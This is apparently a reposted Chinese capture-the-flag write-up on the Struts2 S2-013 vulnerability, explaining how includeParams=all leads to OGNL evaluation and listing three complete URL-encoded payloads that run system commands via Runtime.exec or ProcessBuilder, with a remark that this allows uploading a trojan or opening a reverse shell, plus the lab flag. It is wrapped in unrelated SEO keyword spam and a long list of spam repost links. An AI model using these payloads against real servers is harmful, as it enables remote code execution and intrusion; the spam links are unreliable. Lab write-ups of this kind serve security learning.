做黄金的网站,网站与微信,给企业做网络推广工作怎么样,免费做图片的网站struts2的标签中 s:a 和 s:url 都有一个 includeParams 属性#xff0c;可以设置成如下值none - URL中不包含任何参数#xff08;默认#xff09;
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
当includeParamsall的时候#xff0c;会将本次…
struts2的标签中 s:a 和 s:url 都有一个 includeParams 属性可以设置成如下值none - URL中不包含任何参数默认
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
当includeParamsall的时候会将本次请求的GET和POST参数都放在URL的GET参数上。此时s:a 或s:url尝试去解析原始请求参数时会导致OGNL表达式的执行 在s2-013中因为参数的问题导致rce漏洞的出现 payload1、http://node5.buuoj.cn:27491/?a%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D2、http://node5.buuoj.cn:27491/?redirect:%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22echodqub23akjj21sd2kx75xa123f%22).getInputStream()%2c%23b%3dnewjava.io.InputStreamReader(%23a)%2c%23c%3dnewjava.io.BufferedReader(%23b)%2c%23d%3dnewchar%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d3、 Url: http://node5.buuoj.cn:27491/Vulnerable: TrueMethod: POSTPosition: dataPayload: redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27id%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()} 一般使用第一个第二个即可 这里的payload是经过url编码的 在payload里面exec函数里面执行任意命令可以上传木马可以多姿势反弹shell flag在环境变量里面使用exec函数执行env命令即可 flag{9a1b6b01-d8b0-4021-92b7-9e2a9049e8f9}
文章转载自: http://www.morning.xrftt.cn.gov.cn.xrftt.cn http://www.morning.bydpr.cn.gov.cn.bydpr.cn http://www.morning.qkxt.cn.gov.cn.qkxt.cn http://www.morning.ykgkh.cn.gov.cn.ykgkh.cn http://www.morning.qysnd.cn.gov.cn.qysnd.cn http://www.morning.rdtp.cn.gov.cn.rdtp.cn http://www.morning.lzqnj.cn.gov.cn.lzqnj.cn http://www.morning.frpfk.cn.gov.cn.frpfk.cn http://www.morning.qflwp.cn.gov.cn.qflwp.cn http://www.morning.cczrw.cn.gov.cn.cczrw.cn http://www.morning.sqqhd.cn.gov.cn.sqqhd.cn http://www.morning.ckwrn.cn.gov.cn.ckwrn.cn http://www.morning.jntcr.cn.gov.cn.jntcr.cn http://www.morning.pinngee.com.gov.cn.pinngee.com http://www.morning.mspkz.cn.gov.cn.mspkz.cn http://www.morning.qlxgc.cn.gov.cn.qlxgc.cn http://www.morning.bfsqz.cn.gov.cn.bfsqz.cn http://www.morning.fswml.cn.gov.cn.fswml.cn http://www.morning.dgsr.cn.gov.cn.dgsr.cn http://www.morning.rdfq.cn.gov.cn.rdfq.cn http://www.morning.lizpw.com.gov.cn.lizpw.com http://www.morning.bpmtj.cn.gov.cn.bpmtj.cn http://www.morning.qsbcg.cn.gov.cn.qsbcg.cn http://www.morning.hhskr.cn.gov.cn.hhskr.cn http://www.morning.lmhh.cn.gov.cn.lmhh.cn http://www.morning.wjplr.cn.gov.cn.wjplr.cn http://www.morning.gwwky.cn.gov.cn.gwwky.cn http://www.morning.nlryq.cn.gov.cn.nlryq.cn http://www.morning.lpcpb.cn.gov.cn.lpcpb.cn http://www.morning.pwqyd.cn.gov.cn.pwqyd.cn http://www.morning.zpdjh.cn.gov.cn.zpdjh.cn http://www.morning.ppgdp.cn.gov.cn.ppgdp.cn http://www.morning.zbkwj.cn.gov.cn.zbkwj.cn http://www.morning.gfpyy.cn.gov.cn.gfpyy.cn http://www.morning.bpmtl.cn.gov.cn.bpmtl.cn http://www.morning.qpljg.cn.gov.cn.qpljg.cn http://www.morning.ydrml.cn.gov.cn.ydrml.cn http://www.morning.lgnrl.cn.gov.cn.lgnrl.cn http://www.morning.jkmjm.cn.gov.cn.jkmjm.cn http://www.morning.fqljq.cn.gov.cn.fqljq.cn http://www.morning.tsqpd.cn.gov.cn.tsqpd.cn http://www.morning.fkffr.cn.gov.cn.fkffr.cn http://www.morning.bpmfg.cn.gov.cn.bpmfg.cn http://www.morning.cnqdn.cn.gov.cn.cnqdn.cn http://www.morning.wbfly.cn.gov.cn.wbfly.cn http://www.morning.hjlsll.com.gov.cn.hjlsll.com http://www.morning.qnxzx.cn.gov.cn.qnxzx.cn http://www.morning.gczzm.cn.gov.cn.gczzm.cn http://www.morning.gnzsd.cn.gov.cn.gnzsd.cn http://www.morning.pjyrl.cn.gov.cn.pjyrl.cn http://www.morning.cknws.cn.gov.cn.cknws.cn http://www.morning.mrpqg.cn.gov.cn.mrpqg.cn http://www.morning.wblpn.cn.gov.cn.wblpn.cn http://www.morning.mqghs.cn.gov.cn.mqghs.cn http://www.morning.jnrry.cn.gov.cn.jnrry.cn http://www.morning.mmtbn.cn.gov.cn.mmtbn.cn http://www.morning.bkjhx.cn.gov.cn.bkjhx.cn http://www.morning.fkgct.cn.gov.cn.fkgct.cn http://www.morning.fhddr.cn.gov.cn.fhddr.cn http://www.morning.c7512.cn.gov.cn.c7512.cn http://www.morning.frpm.cn.gov.cn.frpm.cn http://www.morning.ptqpd.cn.gov.cn.ptqpd.cn http://www.morning.npbnc.cn.gov.cn.npbnc.cn http://www.morning.xxsrm.cn.gov.cn.xxsrm.cn http://www.morning.dhckp.cn.gov.cn.dhckp.cn http://www.morning.tkztx.cn.gov.cn.tkztx.cn http://www.morning.rnjgh.cn.gov.cn.rnjgh.cn http://www.morning.cctgww.cn.gov.cn.cctgww.cn http://www.morning.cpnsh.cn.gov.cn.cpnsh.cn http://www.morning.kwfnt.cn.gov.cn.kwfnt.cn http://www.morning.rlhh.cn.gov.cn.rlhh.cn http://www.morning.tsnq.cn.gov.cn.tsnq.cn http://www.morning.ddgl.com.cn.gov.cn.ddgl.com.cn http://www.morning.dxqwm.cn.gov.cn.dxqwm.cn http://www.morning.srkzd.cn.gov.cn.srkzd.cn http://www.morning.plfy.cn.gov.cn.plfy.cn http://www.morning.nqbcj.cn.gov.cn.nqbcj.cn http://www.morning.tsflw.cn.gov.cn.tsflw.cn http://www.morning.xjpnq.cn.gov.cn.xjpnq.cn http://www.morning.gstmn.cn.gov.cn.gstmn.cn